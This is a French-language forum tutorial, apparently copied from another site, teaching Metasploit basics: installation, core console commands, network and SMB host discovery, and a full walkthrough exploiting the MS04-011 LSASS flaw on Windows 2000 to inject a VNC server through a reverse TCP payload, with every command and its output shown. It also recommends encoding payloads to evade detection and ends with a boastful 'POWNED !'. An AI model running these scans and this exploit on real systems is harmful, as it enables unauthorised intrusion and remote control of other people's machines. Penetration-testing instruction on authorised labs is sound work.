I - Introduction Alors comme certains le savent déjà, Metasploit était un projet Open Source basé sur la sécurité informatique censé fournir des informations sur les différentes vulnérabilités, et aidant à la pénétration des systèmes informatiques, cependant il y avait un sous-projet connu sous le nom de Metasploit Framework un outil pour le développement et l'exécution d'exploits contre une machine distante. Voici le lien pour télécharger Metasploit : Penetration Testing Tool, Metasploit, Free Download | Rapid7 /!\ Pour ceux qui ne savent pas installer Metasploit sur GNU/Linux: /!\ Installation des dépendances sur une distribution Debian: Code: sudo apt-get install build-essential subversion ruby libruby irb rdoc libyaml-ruby libzlib-ruby libopenssl-ruby libdl-ruby libreadline-ruby libiconv-ruby rubygems sqlite3 libsqlite3-ruby libsqlite3-dev Installation des dépendances sur une distribution comme Fedora qui utilise des RPMs: Code: yum install subversion ruby ruby-libs ruby-devel ruby-irb ruby-rdoc readline rubygems ruby-sqlite3 Pour exécuter Metasploit, on va dans le dossier d'installation et on tape: Code: ./msfconsole II - Les étapes Voici les étapes basiques que vous devez connaître pour la pénétration d'un système: 1 - On choisit l'exploit, on le configure et on vérifie si le système distant est vulnérable à cet exploit. 2 - On choisit un payload, on le configure ( c'est une sorte de code qui s’exécutera au moment ou l'on pénètre le système distant ). 3 - Encodage du payload, pour le rendre indétectable. 4 - Et bien sûr l’exécution de l'exploit III - Les commandes de bases à connaître use <chemin/vers/exploit> Sélection d'un exploit ou un auxiliaire show options Affiche la liste des options. show payloads Liste les payloads disponibles. show exploits Liste les exploits disponibles. set <variable> <valeur> permet d'attribuer une valeur à une variable, par exemple: set RHOST 192.168.1.2 (Remote Host) Ip distante set RPORT 85 (Remote Port) Port distant show targets Liste les cibles search <RealVNC> Recherche un exploit, ici on recherche un exploit pour RealVNC Hint: L'autocompletion avec la touche TAB est disponible. Exemples: On va utiliser le module udp_sweep pour la découverte d'hôtes comme suit: Code: msf > use auxiliary/scanner/discovery/udp_sweep msf auxiliary(udp_sweep) > set RHOSTS 192.168.1.0/24 RHOSTS => 192.168.1.0/24 msf auxiliary(udp_sweep) > run [*] Sending 10 probes to 192.168.1.0->192.168.1.255 (256 hosts) [*] Discovered NetBIOS on 192.168.1.3:137(<Name>ITCEF<domain>ALLAH<MAC>xx:xx:xx:xx:xx:xx:xx) [*] Discovered NetBIOS on 192.168.1.4:137(<Name>BIBA<domain>WTF<MAC>xx:xx:xx:xx:xx:xx:xx) [*] Auxiliary module execution completed On lance avec la cmd run après avoir spécifié la plage d'IPs distantes avec set RHOSTS xxx.xxx.xxx.xxx/xxx Ce qui vous donne les noms, adresses MACs de toutes les machines scannées. Un autre exemple avec le module smb_version pour nous donner le nom du système installé sur l'hôte choisi: Code: msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version msf auxiliary(smb_version) > set RHOSTS 192.168.1.3 RHOSTS => 192.168.1.3 msf auxiliary(smb_version) > run [*] 192.168.1.3:139 is running GNU/Linux Ubuntu 10.04 (language:English) (name:ITCEF) (domain:ALLAH) [*] Auxiliary module execution completed Pour le deuxième hôte: Code: msf auxiliary(udp_sweep) > use auxiliary/scanner/smb/smb_version msf auxiliary(smb_version) > set RHOSTS 192.168.1.4 RHOSTS => 192.168.1.4 msf auxiliary(smb_version) > run [*] 192.168.1.4:139 is running Windows 2000 Pro (language:Unknown) (name:BIBA) (domain:WTF) [*] Auxiliary module execution completed IV - Exemple d'exploitation Dans cet exemple on exploitera une vulnérabilité du service LSASS dans Windows 2000 Pro pour charger une DLL dans laquelle est encapsulé un serveur VNC. On ouvre une console Metasploit: Code: ./msfconsole On va exploiter la vulnérabilité ms04_011_lsass: Code: msf > use exploit/windows/smb/ms04_011_lsass On spécifie l'hôte distant: Code: msf exploit(ms04_011_lsass) > set RHOST 192.168.1.4 RHOST => 192.168.1.4 Le payload à utiliser: Code: msf exploit(ms04_011_lsass) > set PAYLOAD windows/vncinject/reverse_tcp PAYLOAD => windows/vncinject/reverse_tcp On configure le payload pour lui indiquer notre adresse IP: Code: msf exploit(ms04_011_lsass) > set LHOST 192.168.1.3 LHOST => 192.168.1.3 On peut toujours consulter notre configuration: Code: msf exploit(ms04_011_lsass) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST 192.168.1.4 yes The target address RPORT 445 yes Set the SMB service port Payload options: Name Current Setting Required Description ---- --------------- -------- ----------- AUTOVNC true yes Automatically launch VNC viewer if present DLL C:/Documents and Settings/ yes The local path to the VNC DLL to sdamaye/Application Data/ upload msf3/data/vncdll.dll EXITFUNC thread yes Exit technique: seh, thread, process LHOST 192.168.1.3 yes The local address LPORT 4444 yes The local port VNCHOST 127.0.0.1 yes The local host to use for the VNC proxy VNCPORT 5900 yes The local port to use for the VNC proxy Exploit target: Id Name -- ---- 0 Automatic Targetting On spécifie le port d'écoute LOCAL: Code: msf exploit(ms04_011_lsass) > set LPORT 4321 LPORT => 4321 On spécifie la cible, par défaut c'est 0 ce qui signifie que c'est automatique 1: Windows 2000 English 2: Windows XP English Donc nous on choisit 1 Code: msf exploit(ms04_011_lsass) > set TARGET 1 TARGET => 1 Enfin on lance l'exploit ! Code: msf exploit(ms04_011_lsass) > exploit [*] Started reverse handler [*] Binding to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.4[\lsarpc]... [*] Bound to 3919286a-b10c-11d0-9ba8-00c04fd92ef5:0.0@ncacn_np:192.168.1.4[\lsarpc]... [*] Getting OS information... [*] Trying to exploit Windows 5.0 [*] Transmitting intermediate stager for over-sized stage...(89 bytes) [*] Sending stage (2834 bytes) [*] Sleeping before handling stage... [*] Uploading DLL (327693 bytes)... [*] Upload completed. [*] Starting local TCP relay on 127.0.0.1:5900... [*] Local TCP relay started. [*] Launched vnciewer in the background. [*] VNC Server session 1 opened (192.168.1.3:4321 -> 192.168.1.4:1029) [*] The DCERPC service did not reply to our request Si tout a fonctionné correctement vous aurez normalement une fenêtre VNC pointant sur l'hôte distant POWNED !
LEAK DE UNITY-SOFT §§§§§!!!!!!!!!!!!!!!!!!! http://unity-soft.org/threads/metasploit-les-bases-et-exploitation.2543/